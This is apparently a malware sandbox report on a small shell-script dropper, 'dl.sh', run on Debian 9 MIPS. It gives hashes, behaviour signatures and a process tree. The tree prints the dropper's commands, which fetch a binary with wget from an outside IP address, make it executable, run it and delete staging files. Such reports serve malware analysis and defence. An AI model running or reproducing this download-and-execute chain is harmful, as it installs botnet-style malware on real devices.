Overview

overview

7

Static

static

1

dl.sh

ubuntu-18.04-amd64

7

dl.sh

debian-9-armhf

7

dl.sh

debian-9-mips

7

dl.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    2s
  • max time network
    4s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/09/2026, 18:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    dl.sh
  • Size 967B
  • Sample260930-w3prbseh69
  • SHA256 80c037e588151489795c5b5f6d17e20a07b9fa49295effc521ec331116854079
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscoveryupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery

Processes

  • /tmp/dl.sh
    /tmp/dl.sh
    1⤵
    • Executes dropped EXE
    PID:713
    • /bin/uname
      uname -m
      2⤵
        PID:715
      • /bin/chmod
        chmod +x .xt
        2⤵
        • File and Directory Permissions Modification
        PID:717
      • /var/tmp/.xt
        ./.xt
        2⤵
          PID:721
        • /bin/rm
          rm -f .xt
          2⤵
            PID:724
          • /bin/rm
            rm -f w
            2⤵
              PID:726
            • /usr/bin/wget
              wget -qO w http://23.95.228.20/wife.mips
              2⤵
              • System Network Configuration Discovery
              PID:728
            • /bin/chmod
              chmod +x w
              2⤵
              • File and Directory Permissions Modification
              PID:740
            • /var/tmp/w
              ./w
              2⤵
              • Reads runtime system information
              PID:741

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                .xt
                • Path /var/tmp/.xt
                • Size 10B
                • SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
                • MD5 SHA1 SHA512
                Submit Download

                .xt
                • Path /var/tmp/.xt
                • Size 17B
                • SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
                • MD5 SHA1 SHA512
                Submit Download

                w
                • Path /var/tmp/w
                • Size 84KB
                • SHA256 e9bf65aa18c9e98693dc2f08984d918b43b2589a4d799ed1abbc5ebb8dcb3a83
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download